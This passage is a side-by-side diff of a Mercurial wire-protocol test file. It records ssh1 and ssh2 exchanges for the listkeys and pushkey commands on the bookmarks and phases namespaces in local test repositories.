1390 | o> 30\n |
|
1386 | o> 30\n | |
1391 | o> bufferedread(30) -> 30: |
|
1387 | o> bufferedread(30) -> 30: | |
1392 | o> bookmarks\t\n |
|
1388 | o> bookmarks\t\n | |
1393 | o> namespaces\t\n |
|
1389 | o> namespaces\t\n | |
1394 | o> phases\t |
|
1390 | o> phases\t | |
1395 | response: {b'bookmarks': b'', b'namespaces': b'', b'phases': b''} |
|
1391 | response: {b'bookmarks': b'', b'namespaces': b'', b'phases': b''} | |
1396 |
|
1392 | |||
1397 | $ cd .. |
|
1393 | $ cd .. | |
1398 |
|
1394 | |||
1399 | Test listkeys for bookmarks |
|
1395 | Test listkeys for bookmarks | |
1400 |
|
1396 | |||
1401 | $ hg init bookmarkrepo |
|
1397 | $ hg init bookmarkrepo | |
1402 | $ cd bookmarkrepo |
|
1398 | $ cd bookmarkrepo | |
1403 | $ echo 0 > foo |
|
1399 | $ echo 0 > foo | |
1404 | $ hg add foo |
|
1400 | $ hg add foo | |
1405 | $ hg -q commit -m initial |
|
1401 | $ hg -q commit -m initial | |
1406 | $ echo 1 > foo |
|
1402 | $ echo 1 > foo | |
1407 | $ hg commit -m second |
|
1403 | $ hg commit -m second | |
1408 |
|
1404 | |||
1409 | With no bookmarks set |
|
1405 | With no bookmarks set | |
1410 |
|
1406 | |||
1411 | $ debugwireproto << EOF |
|
1407 | $ debugwireproto << EOF | |
1412 | > command listkeys |
|
1408 | > command listkeys | |
1413 | > namespace bookmarks |
|
1409 | > namespace bookmarks | |
1414 | > EOF |
|
1410 | > EOF | |
1415 | testing ssh1 |
|
1411 | testing ssh1 | |
1416 | creating ssh peer from handshake results |
|
1412 | creating ssh peer from handshake results | |
1417 | i> write(104) -> 104: |
|
1413 | i> write(104) -> 104: | |
1418 | i> hello\n |
|
1414 | i> hello\n | |
1419 | i> between\n |
|
1415 | i> between\n | |
1420 | i> pairs 81\n |
|
1416 | i> pairs 81\n | |
1421 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1417 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1422 | i> flush() -> None |
|
1418 | i> flush() -> None | |
1423 | o> readline() -> 4: |
|
1419 | o> readline() -> 4: | |
1424 | o> 413\n |
|
1420 | o> 413\n | |
1425 | o> readline() -> 413: |
|
1421 | o> readline() -> 413: | |
1426 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
1422 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
1427 | o> readline() -> 2: |
|
1423 | o> readline() -> 2: | |
1428 | o> 1\n |
|
1424 | o> 1\n | |
1429 | o> readline() -> 1: |
|
1425 | o> readline() -> 1: | |
1430 | o> \n |
|
1426 | o> \n | |
1431 | sending listkeys command |
|
1427 | sending listkeys command | |
1432 | i> write(9) -> 9: |
|
1428 | i> write(9) -> 9: | |
1433 | i> listkeys\n |
|
1429 | i> listkeys\n | |
1434 | i> write(12) -> 12: |
|
1430 | i> write(12) -> 12: | |
1435 | i> namespace 9\n |
|
1431 | i> namespace 9\n | |
1436 | i> write(9) -> 9: bookmarks |
|
1432 | i> write(9) -> 9: bookmarks | |
1437 | i> flush() -> None |
|
1433 | i> flush() -> None | |
1438 | o> bufferedreadline() -> 2: |
|
1434 | o> bufferedreadline() -> 2: | |
1439 | o> 0\n |
|
1435 | o> 0\n | |
1440 | response: {} |
|
1436 | response: {} | |
1441 |
|
1437 | |||
1442 | testing ssh2 |
|
1438 | testing ssh2 | |
1443 | creating ssh peer from handshake results |
|
1439 | creating ssh peer from handshake results | |
1444 | i> write(171) -> 171: |
|
1440 | i> write(171) -> 171: | |
1445 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) |
|
1441 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) | |
1446 | i> hello\n |
|
1442 | i> hello\n | |
1447 | i> between\n |
|
1443 | i> between\n | |
1448 | i> pairs 81\n |
|
1444 | i> pairs 81\n | |
1449 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1445 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1450 | i> flush() -> None |
|
1446 | i> flush() -> None | |
1451 | o> readline() -> 62: |
|
1447 | o> readline() -> 62: | |
1452 | o> upgraded * exp-ssh-v2-0001\n (glob) |
|
1448 | o> upgraded * exp-ssh-v2-0001\n (glob) | |
1453 | o> readline() -> 4: |
|
1449 | o> readline() -> 4: | |
1454 | o> 412\n |
|
1450 | o> 412\n | |
1455 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash |
|
1451 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash | |
1456 | o> read(1) -> 1: |
|
1452 | o> read(1) -> 1: | |
1457 | o> \n |
|
1453 | o> \n | |
1458 | sending listkeys command |
|
1454 | sending listkeys command | |
1459 | i> write(9) -> 9: |
|
1455 | i> write(9) -> 9: | |
1460 | i> listkeys\n |
|
1456 | i> listkeys\n | |
1461 | i> write(12) -> 12: |
|
1457 | i> write(12) -> 12: | |
1462 | i> namespace 9\n |
|
1458 | i> namespace 9\n | |
1463 | i> write(9) -> 9: bookmarks |
|
1459 | i> write(9) -> 9: bookmarks | |
1464 | i> flush() -> None |
|
1460 | i> flush() -> None | |
1465 | o> bufferedreadline() -> 2: |
|
1461 | o> bufferedreadline() -> 2: | |
1466 | o> 0\n |
|
1462 | o> 0\n | |
1467 | response: {} |
|
1463 | response: {} | |
1468 |
|
1464 | |||
1469 | With a single bookmark set |
|
1465 | With a single bookmark set | |
1470 |
|
1466 | |||
1471 | $ hg book -r 0 bookA |
|
1467 | $ hg book -r 0 bookA | |
1472 | $ debugwireproto << EOF |
|
1468 | $ debugwireproto << EOF | |
1473 | > command listkeys |
|
1469 | > command listkeys | |
1474 | > namespace bookmarks |
|
1470 | > namespace bookmarks | |
1475 | > EOF |
|
1471 | > EOF | |
1476 | testing ssh1 |
|
1472 | testing ssh1 | |
1477 | creating ssh peer from handshake results |
|
1473 | creating ssh peer from handshake results | |
1478 | i> write(104) -> 104: |
|
1474 | i> write(104) -> 104: | |
1479 | i> hello\n |
|
1475 | i> hello\n | |
1480 | i> between\n |
|
1476 | i> between\n | |
1481 | i> pairs 81\n |
|
1477 | i> pairs 81\n | |
1482 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1478 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1483 | i> flush() -> None |
|
1479 | i> flush() -> None | |
1484 | o> readline() -> 4: |
|
1480 | o> readline() -> 4: | |
1485 | o> 413\n |
|
1481 | o> 413\n | |
1486 | o> readline() -> 413: |
|
1482 | o> readline() -> 413: | |
1487 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
1483 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
1488 | o> readline() -> 2: |
|
1484 | o> readline() -> 2: | |
1489 | o> 1\n |
|
1485 | o> 1\n | |
1490 | o> readline() -> 1: |
|
1486 | o> readline() -> 1: | |
1491 | o> \n |
|
1487 | o> \n | |
1492 | sending listkeys command |
|
1488 | sending listkeys command | |
1493 | i> write(9) -> 9: |
|
1489 | i> write(9) -> 9: | |
1494 | i> listkeys\n |
|
1490 | i> listkeys\n | |
1495 | i> write(12) -> 12: |
|
1491 | i> write(12) -> 12: | |
1496 | i> namespace 9\n |
|
1492 | i> namespace 9\n | |
1497 | i> write(9) -> 9: bookmarks |
|
1493 | i> write(9) -> 9: bookmarks | |
1498 | i> flush() -> None |
|
1494 | i> flush() -> None | |
1499 | o> bufferedreadline() -> 3: |
|
1495 | o> bufferedreadline() -> 3: | |
1500 | o> 46\n |
|
1496 | o> 46\n | |
1501 | o> bufferedread(46) -> 46: bookA\t68986213bd4485ea51533535e3fc9e78007a711f |
|
1497 | o> bufferedread(46) -> 46: bookA\t68986213bd4485ea51533535e3fc9e78007a711f | |
1502 | response: {b'bookA': b'68986213bd4485ea51533535e3fc9e78007a711f'} |
|
1498 | response: {b'bookA': b'68986213bd4485ea51533535e3fc9e78007a711f'} | |
1503 |
|
1499 | |||
1504 | testing ssh2 |
|
1500 | testing ssh2 | |
1505 | creating ssh peer from handshake results |
|
1501 | creating ssh peer from handshake results | |
1506 | i> write(171) -> 171: |
|
1502 | i> write(171) -> 171: | |
1507 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) |
|
1503 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) | |
1508 | i> hello\n |
|
1504 | i> hello\n | |
1509 | i> between\n |
|
1505 | i> between\n | |
1510 | i> pairs 81\n |
|
1506 | i> pairs 81\n | |
1511 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1507 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1512 | i> flush() -> None |
|
1508 | i> flush() -> None | |
1513 | o> readline() -> 62: |
|
1509 | o> readline() -> 62: | |
1514 | o> upgraded * exp-ssh-v2-0001\n (glob) |
|
1510 | o> upgraded * exp-ssh-v2-0001\n (glob) | |
1515 | o> readline() -> 4: |
|
1511 | o> readline() -> 4: | |
1516 | o> 412\n |
|
1512 | o> 412\n | |
1517 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash |
|
1513 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash | |
1518 | o> read(1) -> 1: |
|
1514 | o> read(1) -> 1: | |
1519 | o> \n |
|
1515 | o> \n | |
1520 | sending listkeys command |
|
1516 | sending listkeys command | |
1521 | i> write(9) -> 9: |
|
1517 | i> write(9) -> 9: | |
1522 | i> listkeys\n |
|
1518 | i> listkeys\n | |
1523 | i> write(12) -> 12: |
|
1519 | i> write(12) -> 12: | |
1524 | i> namespace 9\n |
|
1520 | i> namespace 9\n | |
1525 | i> write(9) -> 9: bookmarks |
|
1521 | i> write(9) -> 9: bookmarks | |
1526 | i> flush() -> None |
|
1522 | i> flush() -> None | |
1527 | o> bufferedreadline() -> 3: |
|
1523 | o> bufferedreadline() -> 3: | |
1528 | o> 46\n |
|
1524 | o> 46\n | |
1529 | o> bufferedread(46) -> 46: bookA\t68986213bd4485ea51533535e3fc9e78007a711f |
|
1525 | o> bufferedread(46) -> 46: bookA\t68986213bd4485ea51533535e3fc9e78007a711f | |
1530 | response: {b'bookA': b'68986213bd4485ea51533535e3fc9e78007a711f'} |
|
1526 | response: {b'bookA': b'68986213bd4485ea51533535e3fc9e78007a711f'} | |
1531 |
|
1527 | |||
1532 | With multiple bookmarks set |
|
1528 | With multiple bookmarks set | |
1533 |
|
1529 | |||
1534 | $ hg book -r 1 bookB |
|
1530 | $ hg book -r 1 bookB | |
1535 | $ debugwireproto << EOF |
|
1531 | $ debugwireproto << EOF | |
1536 | > command listkeys |
|
1532 | > command listkeys | |
1537 | > namespace bookmarks |
|
1533 | > namespace bookmarks | |
1538 | > EOF |
|
1534 | > EOF | |
1539 | testing ssh1 |
|
1535 | testing ssh1 | |
1540 | creating ssh peer from handshake results |
|
1536 | creating ssh peer from handshake results | |
1541 | i> write(104) -> 104: |
|
1537 | i> write(104) -> 104: | |
1542 | i> hello\n |
|
1538 | i> hello\n | |
1543 | i> between\n |
|
1539 | i> between\n | |
1544 | i> pairs 81\n |
|
1540 | i> pairs 81\n | |
1545 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1541 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1546 | i> flush() -> None |
|
1542 | i> flush() -> None | |
1547 | o> readline() -> 4: |
|
1543 | o> readline() -> 4: | |
1548 | o> 413\n |
|
1544 | o> 413\n | |
1549 | o> readline() -> 413: |
|
1545 | o> readline() -> 413: | |
1550 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
1546 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
1551 | o> readline() -> 2: |
|
1547 | o> readline() -> 2: | |
1552 | o> 1\n |
|
1548 | o> 1\n | |
1553 | o> readline() -> 1: |
|
1549 | o> readline() -> 1: | |
1554 | o> \n |
|
1550 | o> \n | |
1555 | sending listkeys command |
|
1551 | sending listkeys command | |
1556 | i> write(9) -> 9: |
|
1552 | i> write(9) -> 9: | |
1557 | i> listkeys\n |
|
1553 | i> listkeys\n | |
1558 | i> write(12) -> 12: |
|
1554 | i> write(12) -> 12: | |
1559 | i> namespace 9\n |
|
1555 | i> namespace 9\n | |
1560 | i> write(9) -> 9: bookmarks |
|
1556 | i> write(9) -> 9: bookmarks | |
1561 | i> flush() -> None |
|
1557 | i> flush() -> None | |
1562 | o> bufferedreadline() -> 3: |
|
1558 | o> bufferedreadline() -> 3: | |
1563 | o> 93\n |
|
1559 | o> 93\n | |
1564 | o> bufferedread(93) -> 93: |
|
1560 | o> bufferedread(93) -> 93: | |
1565 | o> bookA\t68986213bd4485ea51533535e3fc9e78007a711f\n |
|
1561 | o> bookA\t68986213bd4485ea51533535e3fc9e78007a711f\n | |
1566 | o> bookB\t1880f3755e2e52e3199e0ee5638128b08642f34d |
|
1562 | o> bookB\t1880f3755e2e52e3199e0ee5638128b08642f34d | |
1567 | response: {b'bookA': b'68986213bd4485ea51533535e3fc9e78007a711f', b'bookB': b'1880f3755e2e52e3199e0ee5638128b08642f34d'} |
|
1563 | response: {b'bookA': b'68986213bd4485ea51533535e3fc9e78007a711f', b'bookB': b'1880f3755e2e52e3199e0ee5638128b08642f34d'} | |
1568 |
|
1564 | |||
1569 | testing ssh2 |
|
1565 | testing ssh2 | |
1570 | creating ssh peer from handshake results |
|
1566 | creating ssh peer from handshake results | |
1571 | i> write(171) -> 171: |
|
1567 | i> write(171) -> 171: | |
1572 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) |
|
1568 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) | |
1573 | i> hello\n |
|
1569 | i> hello\n | |
1574 | i> between\n |
|
1570 | i> between\n | |
1575 | i> pairs 81\n |
|
1571 | i> pairs 81\n | |
1576 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1572 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1577 | i> flush() -> None |
|
1573 | i> flush() -> None | |
1578 | o> readline() -> 62: |
|
1574 | o> readline() -> 62: | |
1579 | o> upgraded * exp-ssh-v2-0001\n (glob) |
|
1575 | o> upgraded * exp-ssh-v2-0001\n (glob) | |
1580 | o> readline() -> 4: |
|
1576 | o> readline() -> 4: | |
1581 | o> 412\n |
|
1577 | o> 412\n | |
1582 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash |
|
1578 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash | |
1583 | o> read(1) -> 1: |
|
1579 | o> read(1) -> 1: | |
1584 | o> \n |
|
1580 | o> \n | |
1585 | sending listkeys command |
|
1581 | sending listkeys command | |
1586 | i> write(9) -> 9: |
|
1582 | i> write(9) -> 9: | |
1587 | i> listkeys\n |
|
1583 | i> listkeys\n | |
1588 | i> write(12) -> 12: |
|
1584 | i> write(12) -> 12: | |
1589 | i> namespace 9\n |
|
1585 | i> namespace 9\n | |
1590 | i> write(9) -> 9: bookmarks |
|
1586 | i> write(9) -> 9: bookmarks | |
1591 | i> flush() -> None |
|
1587 | i> flush() -> None | |
1592 | o> bufferedreadline() -> 3: |
|
1588 | o> bufferedreadline() -> 3: | |
1593 | o> 93\n |
|
1589 | o> 93\n | |
1594 | o> bufferedread(93) -> 93: |
|
1590 | o> bufferedread(93) -> 93: | |
1595 | o> bookA\t68986213bd4485ea51533535e3fc9e78007a711f\n |
|
1591 | o> bookA\t68986213bd4485ea51533535e3fc9e78007a711f\n | |
1596 | o> bookB\t1880f3755e2e52e3199e0ee5638128b08642f34d |
|
1592 | o> bookB\t1880f3755e2e52e3199e0ee5638128b08642f34d | |
1597 | response: {b'bookA': b'68986213bd4485ea51533535e3fc9e78007a711f', b'bookB': b'1880f3755e2e52e3199e0ee5638128b08642f34d'} |
|
1593 | response: {b'bookA': b'68986213bd4485ea51533535e3fc9e78007a711f', b'bookB': b'1880f3755e2e52e3199e0ee5638128b08642f34d'} | |
1598 |
|
1594 | |||
1599 | Test pushkey for bookmarks |
|
1595 | Test pushkey for bookmarks | |
1600 |
|
1596 | |||
1601 | $ debugwireproto << EOF |
|
1597 | $ debugwireproto << EOF | |
1602 | > command pushkey |
|
1598 | > command pushkey | |
1603 | > namespace bookmarks |
|
1599 | > namespace bookmarks | |
1604 | > key remote |
|
1600 | > key remote | |
1605 | > old |
|
1601 | > old | |
1606 | > new 68986213bd4485ea51533535e3fc9e78007a711f |
|
1602 | > new 68986213bd4485ea51533535e3fc9e78007a711f | |
1607 | > EOF |
|
1603 | > EOF | |
1608 | testing ssh1 |
|
1604 | testing ssh1 | |
1609 | creating ssh peer from handshake results |
|
1605 | creating ssh peer from handshake results | |
1610 | i> write(104) -> 104: |
|
1606 | i> write(104) -> 104: | |
1611 | i> hello\n |
|
1607 | i> hello\n | |
1612 | i> between\n |
|
1608 | i> between\n | |
1613 | i> pairs 81\n |
|
1609 | i> pairs 81\n | |
1614 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1610 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1615 | i> flush() -> None |
|
1611 | i> flush() -> None | |
1616 | o> readline() -> 4: |
|
1612 | o> readline() -> 4: | |
1617 | o> 413\n |
|
1613 | o> 413\n | |
1618 | o> readline() -> 413: |
|
1614 | o> readline() -> 413: | |
1619 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
1615 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
1620 | o> readline() -> 2: |
|
1616 | o> readline() -> 2: | |
1621 | o> 1\n |
|
1617 | o> 1\n | |
1622 | o> readline() -> 1: |
|
1618 | o> readline() -> 1: | |
1623 | o> \n |
|
1619 | o> \n | |
1624 | sending pushkey command |
|
1620 | sending pushkey command | |
1625 | i> write(8) -> 8: |
|
1621 | i> write(8) -> 8: | |
1626 | i> pushkey\n |
|
1622 | i> pushkey\n | |
1627 | i> write(6) -> 6: |
|
1623 | i> write(6) -> 6: | |
1628 | i> key 6\n |
|
1624 | i> key 6\n | |
1629 | i> write(6) -> 6: remote |
|
1625 | i> write(6) -> 6: remote | |
1630 | i> write(12) -> 12: |
|
1626 | i> write(12) -> 12: | |
1631 | i> namespace 9\n |
|
1627 | i> namespace 9\n | |
1632 | i> write(9) -> 9: bookmarks |
|
1628 | i> write(9) -> 9: bookmarks | |
1633 | i> write(7) -> 7: |
|
1629 | i> write(7) -> 7: | |
1634 | i> new 40\n |
|
1630 | i> new 40\n | |
1635 | i> write(40) -> 40: 68986213bd4485ea51533535e3fc9e78007a711f |
|
1631 | i> write(40) -> 40: 68986213bd4485ea51533535e3fc9e78007a711f | |
1636 | i> write(6) -> 6: |
|
1632 | i> write(6) -> 6: | |
1637 | i> old 0\n |
|
1633 | i> old 0\n | |
1638 | i> flush() -> None |
|
1634 | i> flush() -> None | |
1639 | o> bufferedreadline() -> 2: |
|
1635 | o> bufferedreadline() -> 2: | |
1640 | o> 2\n |
|
1636 | o> 2\n | |
1641 | o> bufferedread(2) -> 2: |
|
1637 | o> bufferedread(2) -> 2: | |
1642 | o> 1\n |
|
1638 | o> 1\n | |
1643 | response: True |
|
1639 | response: True | |
1644 |
|
1640 | |||
1645 | testing ssh2 |
|
1641 | testing ssh2 | |
1646 | creating ssh peer from handshake results |
|
1642 | creating ssh peer from handshake results | |
1647 | i> write(171) -> 171: |
|
1643 | i> write(171) -> 171: | |
1648 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) |
|
1644 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) | |
1649 | i> hello\n |
|
1645 | i> hello\n | |
1650 | i> between\n |
|
1646 | i> between\n | |
1651 | i> pairs 81\n |
|
1647 | i> pairs 81\n | |
1652 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1648 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1653 | i> flush() -> None |
|
1649 | i> flush() -> None | |
1654 | o> readline() -> 62: |
|
1650 | o> readline() -> 62: | |
1655 | o> upgraded * exp-ssh-v2-0001\n (glob) |
|
1651 | o> upgraded * exp-ssh-v2-0001\n (glob) | |
1656 | o> readline() -> 4: |
|
1652 | o> readline() -> 4: | |
1657 | o> 412\n |
|
1653 | o> 412\n | |
1658 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash |
|
1654 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash | |
1659 | o> read(1) -> 1: |
|
1655 | o> read(1) -> 1: | |
1660 | o> \n |
|
1656 | o> \n | |
1661 | sending pushkey command |
|
1657 | sending pushkey command | |
1662 | i> write(8) -> 8: |
|
1658 | i> write(8) -> 8: | |
1663 | i> pushkey\n |
|
1659 | i> pushkey\n | |
1664 | i> write(6) -> 6: |
|
1660 | i> write(6) -> 6: | |
1665 | i> key 6\n |
|
1661 | i> key 6\n | |
1666 | i> write(6) -> 6: remote |
|
1662 | i> write(6) -> 6: remote | |
1667 | i> write(12) -> 12: |
|
1663 | i> write(12) -> 12: | |
1668 | i> namespace 9\n |
|
1664 | i> namespace 9\n | |
1669 | i> write(9) -> 9: bookmarks |
|
1665 | i> write(9) -> 9: bookmarks | |
1670 | i> write(7) -> 7: |
|
1666 | i> write(7) -> 7: | |
1671 | i> new 40\n |
|
1667 | i> new 40\n | |
1672 | i> write(40) -> 40: 68986213bd4485ea51533535e3fc9e78007a711f |
|
1668 | i> write(40) -> 40: 68986213bd4485ea51533535e3fc9e78007a711f | |
1673 | i> write(6) -> 6: |
|
1669 | i> write(6) -> 6: | |
1674 | i> old 0\n |
|
1670 | i> old 0\n | |
1675 | i> flush() -> None |
|
1671 | i> flush() -> None | |
1676 | o> bufferedreadline() -> 2: |
|
1672 | o> bufferedreadline() -> 2: | |
1677 | o> 2\n |
|
1673 | o> 2\n | |
1678 | o> bufferedread(2) -> 2: |
|
1674 | o> bufferedread(2) -> 2: | |
1679 | o> 1\n |
|
1675 | o> 1\n | |
1680 | response: True |
|
1676 | response: True | |
1681 |
|
1677 | |||
1682 | $ hg bookmarks |
|
1678 | $ hg bookmarks | |
1683 | bookA 0:68986213bd44 |
|
1679 | bookA 0:68986213bd44 | |
1684 | bookB 1:1880f3755e2e |
|
1680 | bookB 1:1880f3755e2e | |
1685 | remote 0:68986213bd44 |
|
1681 | remote 0:68986213bd44 | |
1686 |
|
1682 | |||
1687 | $ cd .. |
|
1683 | $ cd .. | |
1688 |
|
1684 | |||
1689 | Test listkeys for phases |
|
1685 | Test listkeys for phases | |
1690 |
|
1686 | |||
1691 | $ hg init phasesrepo |
|
1687 | $ hg init phasesrepo | |
1692 | $ cd phasesrepo |
|
1688 | $ cd phasesrepo | |
1693 |
|
1689 | |||
1694 | Phases on empty repo |
|
1690 | Phases on empty repo | |
1695 |
|
1691 | |||
1696 | $ debugwireproto << EOF |
|
1692 | $ debugwireproto << EOF | |
1697 | > command listkeys |
|
1693 | > command listkeys | |
1698 | > namespace phases |
|
1694 | > namespace phases | |
1699 | > EOF |
|
1695 | > EOF | |
1700 | testing ssh1 |
|
1696 | testing ssh1 | |
1701 | creating ssh peer from handshake results |
|
1697 | creating ssh peer from handshake results | |
1702 | i> write(104) -> 104: |
|
1698 | i> write(104) -> 104: | |
1703 | i> hello\n |
|
1699 | i> hello\n | |
1704 | i> between\n |
|
1700 | i> between\n | |
1705 | i> pairs 81\n |
|
1701 | i> pairs 81\n | |
1706 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1702 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1707 | i> flush() -> None |
|
1703 | i> flush() -> None | |
1708 | o> readline() -> 4: |
|
1704 | o> readline() -> 4: | |
1709 | o> 413\n |
|
1705 | o> 413\n | |
1710 | o> readline() -> 413: |
|
1706 | o> readline() -> 413: | |
1711 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
1707 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
1712 | o> readline() -> 2: |
|
1708 | o> readline() -> 2: | |
1713 | o> 1\n |
|
1709 | o> 1\n | |
1714 | o> readline() -> 1: |
|
1710 | o> readline() -> 1: | |
1715 | o> \n |
|
1711 | o> \n | |
1716 | sending listkeys command |
|
1712 | sending listkeys command | |
1717 | i> write(9) -> 9: |
|
1713 | i> write(9) -> 9: | |
1718 | i> listkeys\n |
|
1714 | i> listkeys\n | |
1719 | i> write(12) -> 12: |
|
1715 | i> write(12) -> 12: | |
1720 | i> namespace 6\n |
|
1716 | i> namespace 6\n | |
1721 | i> write(6) -> 6: phases |
|
1717 | i> write(6) -> 6: phases | |
1722 | i> flush() -> None |
|
1718 | i> flush() -> None | |
1723 | o> bufferedreadline() -> 3: |
|
1719 | o> bufferedreadline() -> 3: | |
1724 | o> 15\n |
|
1720 | o> 15\n | |
1725 | o> bufferedread(15) -> 15: publishing\tTrue |
|
1721 | o> bufferedread(15) -> 15: publishing\tTrue | |
1726 | response: {b'publishing': b'True'} |
|
1722 | response: {b'publishing': b'True'} | |
1727 |
|
1723 | |||
1728 | testing ssh2 |
|
1724 | testing ssh2 | |
1729 | creating ssh peer from handshake results |
|
1725 | creating ssh peer from handshake results | |
1730 | i> write(171) -> 171: |
|
1726 | i> write(171) -> 171: | |
1731 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) |
|
1727 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) | |
1732 | i> hello\n |
|
1728 | i> hello\n | |
1733 | i> between\n |
|
1729 | i> between\n | |
1734 | i> pairs 81\n |
|
1730 | i> pairs 81\n | |
1735 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1731 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1736 | i> flush() -> None |
|
1732 | i> flush() -> None | |
1737 | o> readline() -> 62: |
|
1733 | o> readline() -> 62: | |
1738 | o> upgraded * exp-ssh-v2-0001\n (glob) |
|
1734 | o> upgraded * exp-ssh-v2-0001\n (glob) | |
1739 | o> readline() -> 4: |
|
1735 | o> readline() -> 4: | |
1740 | o> 412\n |
|
1736 | o> 412\n | |
1741 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash |
|
1737 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash | |
